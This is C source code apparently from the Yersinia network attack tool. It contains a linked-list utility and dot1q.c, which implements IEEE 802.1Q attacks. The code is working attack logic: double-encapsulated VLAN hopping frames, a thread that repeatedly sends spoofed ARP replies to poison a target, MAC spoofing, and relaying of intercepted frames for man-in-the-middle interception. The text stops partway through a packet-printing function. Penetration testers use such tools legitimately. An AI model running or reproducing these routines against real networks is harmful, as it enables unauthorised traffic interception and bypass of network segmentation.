/* dlist.c * Dynamic lists implementation (double linked) * taken from http://www.vorlesungen.uos.de/informatik/cc02/src/dlist/dlist.c * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "config.h" #include <stdlib.h> #ifdef HAVE_SYS_TYPES_H #include <sys/types.h> #endif #ifdef HAVE_INTTYPES_H #include <inttypes.h> #endif #include "dlist.h" void * dlist_data(dlist_t *list) { return list ? list->data : NULL; } dlist_t* dlist_next(dlist_t* list, dlist_t* p) { return (list && p && p->next != list) ? p->next : NULL; } dlist_t* dlist_prev(dlist_t* list, dlist_t* p) { return (list && p && p != list) ? p->prev : NULL; } static inline dlist_t* dlist_new(const void *data) { dlist_t *p; p = malloc(sizeof(dlist_t)); if (! p) { exit(EXIT_FAILURE); } p->data = (void *) data; p->next = p->prev = p; return p; } dlist_t* dlist_prepend(dlist_t *list, const void *data) { dlist_t *p; p = dlist_new(data); if (! list) { return p; } p->prev = list->prev, list->prev->next = p; p->next = list, list->prev = p; return p; } dlist_t* dlist_append(dlist_t *list, const void *data) { dlist_t *p; p = dlist_new(data); if (! list) { return p; } p->prev = list->prev, list->prev->next = p; p->next = list, list->prev = p; return list; } dlist_t* dlist_remove(dlist_t *list, const void *data) { dlist_t *p, *q; for (p = list; p; ) { if (p->data == data) { if (p->next == p && p->prev == p) { free(p); list = p = NULL; } else { q = p; p->prev->next = p->next; p->next->prev = p->prev; p = dlist_next(list, p->prev); if (q == list) list = p; free(q); } } else { p = dlist_next(list, p); } } return list; } dlist_t* dlist_delete(dlist_t *list) { dlist_t *p, *q; for (p = list; p; ) { q = p, p = dlist_next(list, p), free(q); } return NULL; } u_int32_t dlist_length(dlist_t *list) { dlist_t *p; u_int32_t l = 0; for (p = list; p; p = dlist_next(list, p)) l++; return l; } dlist_t* dlist_last(dlist_t *list) { return (list ? list->prev : NULL); } void dlist_foreach(dlist_t *list, void (*func) (void *data, void *user), void *user) { dlist_t *p; if (func) { for (p = list; p; p = dlist_next(list, p)) { func((p)->data, user); } } } dlist_t* dlist_find(dlist_t *list, const void *data) { dlist_t *p; for (p = list; p; p = dlist_next(list, p)) { if (p->data == data) { return p; } } return NULL; } dlist_t *dlist_search( dlist_t *list, int (*cmp) (void *data, void *pattern), void *pattern) { dlist_t *p; if (cmp) { for (p = list; p; p = dlist_next(list, p)) { if (cmp(p->data, pattern) == 0) { return p; } } } return NULL; }
C/C++
yersinia/src/dlist.h
/* dlist.h * Definitions for dynamic lists * taken from http://www.vorlesungen.uos.de/informatik/cc02/src/dlist/dlist.h * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef _DLIST_H_ #define _DLIST_H_ #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #ifdef SOLARIS typedef uint32_t u_int32_t; typedef uint16_t u_int16_t; typedef uint8_t u_int8_t; #endif struct dlist { void *data; struct dlist *next; struct dlist *prev; }; typedef struct dlist dlist_t; struct list { dlist_t *list; int (*cmp)(void *, void *); pthread_mutex_t mutex; }; typedef struct list list_t; void* dlist_data(dlist_t *list); dlist_t* dlist_next(dlist_t* list, dlist_t* p); dlist_t* dlist_prev(dlist_t* list, dlist_t* p); dlist_t* dlist_append(dlist_t *list, const void *data); dlist_t* dlist_prepend(dlist_t *list, const void *data); dlist_t* dlist_remove(dlist_t *list, const void *data); dlist_t* dlist_delete(dlist_t *list); u_int32_t dlist_length(dlist_t *list); dlist_t* dlist_last(dlist_t *list); void dlist_foreach(dlist_t *list, void (*func) (void *data, void *user), void *user); dlist_t* dlist_find(dlist_t *list, const void *data); dlist_t *dlist_search( dlist_t *list, int (*cmp) (void *data, void *pattern), void *pattern); extern void write_log( u_int16_t mode, char *msg, ... ); #endif
C
yersinia/src/dot1q.c
/* dot1q.c * Implementation and attacks for IEEE 802.1Q * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifdef HAVE_CONFIG_H #include <config.h> #endif #ifndef _REENTRANT #define _REENTRANT #endif #include <stdio.h> #include <errno.h> #include <sys/types.h> #include <sys/socket.h> #ifdef HAVE_NETINET_IN_SYSTM_H #include <netinet/in_systm.h> #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include <netinet/in_system.h> #endif #endif #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <signal.h> #include <time.h> #ifdef TIME_WITH_SYS_TIME #include <sys/time.h> #endif #ifdef HAVE_UNISTD_H #include <unistd.h> #endif #ifdef HAVE_STRING_H #include <string.h> #endif #ifdef HAVE_STRINGS_H #include <strings.h> #endif #ifdef HAVE_BSTRING_H #include <bstring.h> #endif #ifdef STDC_HEADERS #include <stdlib.h> #endif #ifdef HAVE_PTHREAD_H #include <pthread.h> #endif #include <stdarg.h> #include "dot1q.h" void dot1q_register(void) { protocol_register(PROTO_DOT1Q, "802.1Q", "IEEE 802.1Q", "dot1q", sizeof(struct dot1q_data), dot1q_init_attribs, dot1q_learn_packet, dot1q_get_printable_packet, dot1q_get_printable_store, dot1q_load_values, dot1q_attack, dot1q_update_field, dot1q_features, dot1q_comm_params, SIZE_ARRAY(dot1q_comm_params), NULL, 0, NULL, dot1q_init_comms_struct, PROTO_VISIBLE, dot1q_end); } /* * Inicializa la estructura que se usa para relacionar el tmp_data * de cada nodo con los datos que se sacaran por pantalla cuando * se accede al demonio de red. * Teoricamente como esta funcion solo se llama desde term_add_node() * la cual, a su vez, solo es llamada al tener el mutex bloqueado por * lo que no veo necesario que sea reentrante. (Fredy). */ int8_t dot1q_init_comms_struct(struct term_node *node) { struct dot1q_data *dot1q_data; void **comm_param; comm_param = (void *)calloc(1,sizeof(void *)*SIZE_ARRAY(dot1q_comm_params)); if (comm_param == NULL) { thread_error("dot1q_init_commands_struct calloc error",errno); return -1; } dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; node->protocol[PROTO_DOT1Q].commands_param = comm_param; comm_param[0] = &dot1q_data->mac_source; comm_param[1] = &dot1q_data->mac_dest; comm_param[2] = &dot1q_data->vlan1; comm_param[3] = &dot1q_data->priority1; comm_param[4] = &dot1q_data->cfi1; comm_param[5] = &dot1q_data->tpi2; comm_param[6] = &dot1q_data->vlan2; comm_param[7] = &dot1q_data->priority2; comm_param[8] = &dot1q_data->cfi2; comm_param[9] = &dot1q_data->tpi3; comm_param[10] = &dot1q_data->src_ip; comm_param[11] = &dot1q_data->dst_ip; comm_param[12] = &dot1q_data->ip_proto; comm_param[13] = &dot1q_data->icmp_payload; comm_param[14] = NULL; comm_param[15] = NULL; return 0; } void dot1q_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; struct dot1q_data *dot1q_data; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_send pthread_sigmask()",errno); dot1q_th_send_exit(attacks); } dot1q_data = attacks->data; dot1q_data->tpi1 = ETHERTYPE_VLAN; dot1q_data->tpi2 = ETHERTYPE_IP; dot1q_send_icmp(attacks,0); dot1q_th_send_exit(attacks); } void dot1q_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } void dot1q_double_th_send( void *arg ) { struct attacks *attacks = (struct attacks *)arg; sigset_t mask; struct dot1q_data *dot1q_data; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_send pthread_sigmask()",errno); dot1q_double_th_send_exit(attacks); } dot1q_data = attacks->data; dot1q_data->tpi1 = ETHERTYPE_VLAN; dot1q_data->tpi2 = ETHERTYPE_VLAN; dot1q_send_icmp(attacks,1); dot1q_double_th_send_exit(attacks); } void dot1q_double_th_send_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } int8_t dot1q_send_icmp(struct attacks *attacks, u_int8_t double_encap) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; u_int16_t *aux; int32_t payload_size=0; struct dot1q_data *dot1q_data; u_int8_t *payload=NULL; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dot1q_data = attacks->data; dot1q_data->icmp_pay_len = strlen((const char *)dot1q_data->icmp_payload); /* 802.1Q Double encap. */ if (double_encap) { payload_size=4; payload = (u_int8_t *)calloc(payload_size,1); if (payload == NULL) { thread_error("dot1q payload calloc()",errno); return -1; } aux = (u_int16_t *)(payload); *aux = htons((dot1q_data->priority2 << 13) | (dot1q_data->cfi2 << 12) | (dot1q_data->vlan2 & LIBNET_802_1Q_VIDMASK)); aux = (u_int16_t *)(payload+2); *aux = htons(dot1q_data->tpi3); } for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ dot1q_data->icmp_pay_len?dot1q_data->icmp_payload:NULL, /* payload */ dot1q_data->icmp_pay_len, /* payload size */ lhandler, /* libnet handle */ 0); if (t == -1) { thread_libnet_error("Can't build icmp header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H+ dot1q_data->icmp_pay_len, /* length */ 0, /* TOS */ 0x42, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ htonl(dot1q_data->src_ip), /* source IP */ htonl(dot1q_data->dst_ip), /* destination IP */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); if (t == -1) { thread_libnet_error("Can't build ip header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } t = libnet_build_802_1q( dot1q_data->mac_dest, /* dest mac */ (attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr, dot1q_data->tpi1, /* TPI */ dot1q_data->priority1, /* priority (0 - 7) */ dot1q_data->cfi1, /* CFI flag */ dot1q_data->vlan1, /* vid (0 - 4095) */ dot1q_data->tpi2, payload, /* payload */ payload_size, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build 802.1q header",lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); if (payload) free(payload); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DOT1Q]++; } if (payload) free(payload); return 0; } void dot1q_th_poison( void *arg ) { struct attacks *attacks = (struct attacks *)arg; struct interface_data *iface_data; struct dot1q_data *dot1q_data = (struct dot1q_data *)attacks->data; struct pcap_pkthdr header; struct libnet_802_3_hdr *ether; struct timeval now; libnet_ptag_t t; libnet_t *lhandler; u_int8_t *packet, out=0, arp_mac[ETHER_ADDR_LEN]; u_int16_t *cursor; int32_t sent; sigset_t mask; dlist_t *p; pthread_mutex_lock(&attacks->attack_th.finished); pthread_detach(pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("dot1q_th_poison pthread_sigmask()",errno); dot1q_th_poison_exit(attacks); } dot1q_data->tpi1 = ETHERTYPE_VLAN; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; if (dot1q_learn_mac(attacks, &header, arp_mac) < 0) dot1q_th_poison_exit(attacks); if ( thread_create( &attacks->helper_th, &dot1q_send_arp_poison, attacks ) ) { write_log( 0, "dot1q_th_poison thread_create error\n"); dot1q_th_poison_exit(attacks); } packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( ! packet ) dot1q_th_poison_exit(attacks); while (!attacks->attack_th.stop && !out) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DOT1Q, NO_TIMEOUT ); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_dhost,6)) continue; /* Not for the poisoned MAC... */ cursor = (u_int16_t *) (packet + LIBNET_802_3_H); /* cursor++; */ /* 802.3 if (ntohs(*cursor) < 0x0800) do_802_3 = 1; */ for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_ethernet( arp_mac, /* dest mac */ (attacks->mac_spoofing) ? dot1q_data->mac_source : iface_data->etheraddr, /* src mac*/ ETHERTYPE_VLAN, /* type */ (u_int8_t *)cursor, /* payload */ header.len - LIBNET_802_3_H, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build Ethernet_II header",lhandler); libnet_clear_packet(lhandler); out = 1; break; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); out = 1; break; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface_data->packets_out[PROTO_DOT1Q]++; } } /*...!stop*/ /* dot1q_return_mac(attacks, arp_mac); */ free(packet); dot1q_th_poison_exit(attacks); } /* * ARP Poison. Get the real MAC address for arp_ip... */ int8_t dot1q_learn_mac( struct attacks *attacks, struct pcap_pkthdr *header, u_int8_t *arp_mac ) { struct dot1q_data *dot1q_data, dot1q_data_learned; struct attack_param *param=NULL; struct pcap_data pcap_aux; struct libnet_802_3_hdr *ether; u_int32_t arp_src, arp_dst; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int8_t arp_mac_dest[ETHER_ADDR_LEN]; int8_t ret, gotit=0; u_int8_t *packet; u_int16_t *cursor, *arp_vlan; dlist_t *p; struct interface_data *iface_data; dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_src, param[DOT1Q_ARP_IP_SRC].value, 4); memcpy((void *)&arp_dst, param[DOT1Q_ARP_IP].value, 4); memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); memcpy((void *)arp_mac_dest, (void *)"\x00\x00\x00\x00\x00\x00", ETHER_ADDR_LEN); header->ts.tv_sec = 0; header->ts.tv_usec = 0; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; while (!attacks->attack_th.stop && !gotit) { thread_usleep(800000); for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REQUEST, (attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, mac_dest, (u_int8_t *)&arp_src, (u_int8_t *)&arp_dst, arp_mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) { free(packet); return ret; } } interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, header, packet, PROTO_DOT1Q, NO_TIMEOUT); if (attacks->attack_th.stop) break; ether = (struct libnet_802_3_hdr *) packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( !memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_shost, 6) ) continue; /* Oops!! Its our packet... */ if ( memcmp((attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, ether->_802_3_dhost,6)) continue; /* Not a response... */ pcap_aux.header = header; pcap_aux.packet = packet; if (dot1q_load_values(&pcap_aux, &dot1q_data_learned) < 0) continue; if (dot1q_data_learned.tpi2 != ETHERTYPE_ARP) continue; cursor = (u_int16_t *) (packet + LIBNET_802_3_H); cursor++; if (ntohs(*cursor) < 0x0800) /* 802.3 */ cursor+=4; cursor+=2; if (ntohs(*cursor) != ETHERTYPE_IP) continue; cursor+=2; if (ntohs(*cursor) != 2 ) continue; cursor+=4; if (memcmp((void *)cursor,(void *)&arp_dst,4)) continue; memcpy((void *)arp_mac,(void *)ether->_802_3_shost,6); write_log(0, " ARP Spoofing MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); gotit = 1; } /* !stop */ free(packet); if (attacks->attack_th.stop) return -1; return 0; } /* * ARP Poison. Return the MAC to its owner :)... */ int8_t dot1q_return_mac(struct attacks *attacks, u_int8_t *arp_mac) { struct attack_param *param = NULL; struct dot1q_data *dot1q_data; u_int32_t arp_ip, arp_dst; u_int8_t a; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t *arp_vlan; int8_t ret; dlist_t *p; struct interface_data *iface_data; dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_ip,param[DOT1Q_ARP_IP].value,4); memcpy((void *)mac_dest, (void *)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); /*arp_ip = htonl(arp_ip);*/ arp_dst = 0; for ( a=0; a < 3; a++) { for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REPLY, arp_mac, mac_dest, (u_int8_t *)&arp_ip, (u_int8_t *)&arp_dst, mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) return ret; } thread_usleep(999999); } return 0; } void dot1q_th_poison_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Child/Thread loop sending * ARP poison every 2 secs... */ void dot1q_send_arp_poison(void *arg) { struct attacks *attacks; struct attack_param *param; struct dot1q_data *dot1q_data; u_int32_t arp_ip, arp_dst; u_int8_t out=0; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t *arp_vlan; int8_t ret; dlist_t *p; struct interface_data *iface_data; attacks = arg; pthread_mutex_lock(&attacks->helper_th.finished); pthread_detach(pthread_self()); dot1q_data = attacks->data; param = attacks->params; arp_vlan = (u_int16_t *)param[DOT1Q_ARP_VLAN].value; memcpy((void *)&arp_ip, param[DOT1Q_ARP_IP].value, 4); memcpy((void *)mac_dest, (void*)"\xff\xff\xff\xff\xff\xff", ETHER_ADDR_LEN); /* arp_ip = htonl(arp_ip);*/ arp_dst = 0; while (!attacks->helper_th.stop && !out) { for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); ret = dot1q_send_arp(iface_data, ARPOP_REPLY, (attacks->mac_spoofing)?dot1q_data->mac_source:iface_data->etheraddr, mac_dest, (u_int8_t *)&arp_ip, (u_int8_t *)&arp_dst, mac_dest, *arp_vlan, dot1q_data->priority1); if (ret == -1) { out = 1; break; } } if (!out) thread_usleep(999999); } pthread_mutex_unlock(&attacks->helper_th.finished); pthread_exit(NULL); } /* * Send ARP packet... */ int8_t dot1q_send_arp(struct interface_data *iface, u_int16_t optype, u_int8_t *mac_source, u_int8_t *mac_dest, u_int8_t *ip_source, u_int8_t *ip_dest, u_int8_t *arp_mac_dest, u_int16_t vlan, u_int8_t priority) { libnet_ptag_t t; libnet_t *lhandler; int32_t sent; lhandler = iface->libnet_handler; t = libnet_build_arp( ARPHRD_ETHER, /* hardware addr */ ETHERTYPE_IP, /* protocol addr */ 6, /* hardware addr size */ 4, /* protocol addr size */ optype, /* operation type */ (u_int8_t *)mac_source, /* sender hardware address */ ip_source, /* sender protocol addr */ (u_int8_t *)arp_mac_dest, /* target hardware addr */ ip_dest, /* target protocol addr */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet context */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build arp header",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_802_1q( mac_dest, /* dest mac */ mac_source, /* src mac */ ETHERTYPE_VLAN, /* TPI */ priority, /* priority (0 - 7) */ 0, /* CFI flag */ vlan, /* vid (0 - 4095) */ ETHERTYPE_ARP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build 802.1q header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DOT1Q].packets_out++; iface->packets_out[PROTO_DOT1Q]++; return 0; } int8_t dot1q_init_attribs(struct term_node *node) { struct dot1q_data *dot1q_data; dot1q_data = node->protocol[PROTO_DOT1Q].tmp_data; attack_gen_mac(dot1q_data->mac_source); dot1q_data->mac_source[0] &= 0x0E; parser_vrfy_mac(DOT1Q_DFL_MAC_DST,dot1q_data->mac_dest); dot1q_data->tpi1 = DOT1Q_DFL_TPI1; dot1q_data->priority1 = DOT1Q_DFL_PRIO1; dot1q_data->cfi1 = DOT1Q_DFL_CFI1; dot1q_data->vlan1 = DOT1Q_DFL_VLAN1; dot1q_data->tpi2 = DOT1Q_DFL_TPI2; dot1q_data->priority2 = DOT1Q_DFL_PRIO2; dot1q_data->cfi2 = DOT1Q_DFL_CFI2; dot1q_data->vlan2 = DOT1Q_DFL_VLAN2; dot1q_data->tpi3 = DOT1Q_DFL_TPI3; dot1q_data->src_ip = ntohl(inet_addr("10.0.0.1")); dot1q_data->dst_ip = ntohl(inet_addr("255.255.255.255")); dot1q_data->ip_proto = 1; memcpy(dot1q_data->icmp_payload,DOT1Q_DFL_PAYLOAD,sizeof(DOT1Q_DFL_PAYLOAD)); dot1q_data->icmp_pay_len = DOT1Q_DFL_PAY_LEN; return 0; } int8_t dot1q_learn_packet( struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct dot1q_data *dot1q_data = (struct dot1q_data *)data; struct interface_data *iface_data; struct pcap_data pcap_aux; u_int8_t *packet, got_802_1q_pkt = 0; int8_t ret = -1; dlist_t *p; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( packet ) { while ( !got_802_1q_pkt && !(*stop) ) { interfaces_get_packet( attacks->used_ints, iface_data, stop, header, packet, PROTO_DOT1Q, NO_TIMEOUT ); if ( !(*stop) ) { pcap_aux.header = header; pcap_aux.packet = packet; if (!dot1q_load_values((struct pcap_data *)&pcap_aux, dot1q_data)) { got_802_1q_pkt = 1; ret = 0 ; } } } free(packet); } return ret ; } /* * Load values from packet to data. * At the moment this function is called only * from ncurses-gui.c */ int8_t dot1q_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct dot1q_data *dot1q; u_int16_t *cursor; u_int8_t *ip; #ifndef LBL_ALIGN struct libnet_ipv4_hdr *ipv4_hdr; #endif dot1q = (struct dot1q_data *)values; if (data->header->caplen < (14+8+8) ) /* Undersized packet!! */ return -1; ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ memcpy(dot1q->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dot1q->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H); dot1q->priority1 = ntohs(*cursor) >> 13; dot1q->cfi1 = ntohs(*cursor) & 0x1000; dot1q->vlan1 = ntohs(*cursor) & 0xfff; cursor++; dot1q->tpi2 = ntohs(*cursor); switch(dot1q->tpi2) { case ETHERTYPE_IP: break; case ETHERTYPE_VLAN: cursor++; dot1q->priority2 = ntohs(*cursor) >> 13; dot1q->cfi2 = ntohs(*cursor) & 0x1000; dot1q->vlan2 = ntohs(*cursor) & 0xfff; cursor++; dot1q->tpi3 = ntohs(*cursor); if (dot1q->tpi3 != ETHERTYPE_IP) return 0; break; default: return 0; break; } cursor++; /* Minimal IP header needed */ ip = (u_int8_t *)cursor; /* Undersized packet!! */ if ( (ip+20) > (data->packet + data->header->caplen)) return 0; #ifdef LBL_ALIGN dot1q->ip_proto = *(ip+9); memcpy((void *)&dot1q->src_ip, (ip+12), 4); memcpy((void *)&dot1q->dst_ip, (ip+16), 4); #else ipv4_hdr = (struct libnet_ipv4_hdr *)cursor; dot1q->src_ip = ntohl(ipv4_hdr->ip_src.s_addr); dot1q->dst_ip = ntohl(ipv4_hdr->ip_dst.s_addr); dot1q->ip_proto = ipv4_hdr->ip_p; #endif return 0; } /* * Return formated strings of each 802.1Q field */ char **dot1q_get_printable_packet( struct pcap_data *data ) { struct libnet_802_3_hdr *ether; struct libnet_ipv4_hdr *ipv4_hdr; u_int16_t *cursor, type_cursor; u_int8_t *ip; char *aux; u_int32_t aux_long; char **field_values; if ( ! data ) return NULL ; if (data && (data->header->caplen < (14+8+8)) ) /* Undersized packet!! */ return NULL; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DOT1Q].nparams, protocols[PROTO_DOT1Q].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; /* Source MAC */ snprintf(field_values[DOT1Q_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[DOT1Q_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); cursor = (u_int16_t *) (data->packet + LIBNET_802_3_H); snprintf(field_values[DOT1Q_VLAN1], 5, "%04d", (ntohs(*cursor) & 0xfff)); snprintf(field_values[DOT1Q_PRIORITY1], 3, "%02X", (ntohs(*cursor) >> 13)); snprintf(field_values[DOT1Q_CFI1], 3, "%02X", (ntohs(*cursor) & 0x1000)); cursor++; type_cursor = ntohs(*cursor); if (type_cursor < 0x0800) /* 802.3 */ { cursor+=4; type_cursor = ntohs(*cursor); } switch(type_cursor) { case ETHERTYPE_IP: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); field_values[DOT1Q_PRIORITY2][0]=0; field_values[DOT1Q_CFI2][0]=0; field_values[DOT1Q_VLAN2][0]=0; break; case ETHERTYPE_VLAN: snprintf(field_values[DOT1Q_TPI2], 5, "%04X",type_cursor); cursor++; snprintf(field_values[DOT1Q_PRIORITY2], 3, "%02X", (ntohs(*cursor) >> 13)); snprintf(field_values[DOT1Q_CFI2], 3, "%02X",(ntohs(*cursor) & 0x1000)); snprintf(field_values[DOT1Q_VLAN2], 5, "%04d", (ntohs(*cursor) & 0xfff)); cursor++; type_cursor = ntohs(*cursor); switch(type_cursor) { case ETHERTYPE_IP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); break; case ETHERTYPE_ARP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case ETHERTYPE_REVARP: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case ETHERTYPE_VLAN: snprintf(field_values[DOT1Q_TPI3], 5, "%04X",type_cursor); field_values[DOT1Q_SRC_IP][0] = 0; field_values[DOT1Q_DST_IP][0] = 0; return field_values; break; case 0x010b: 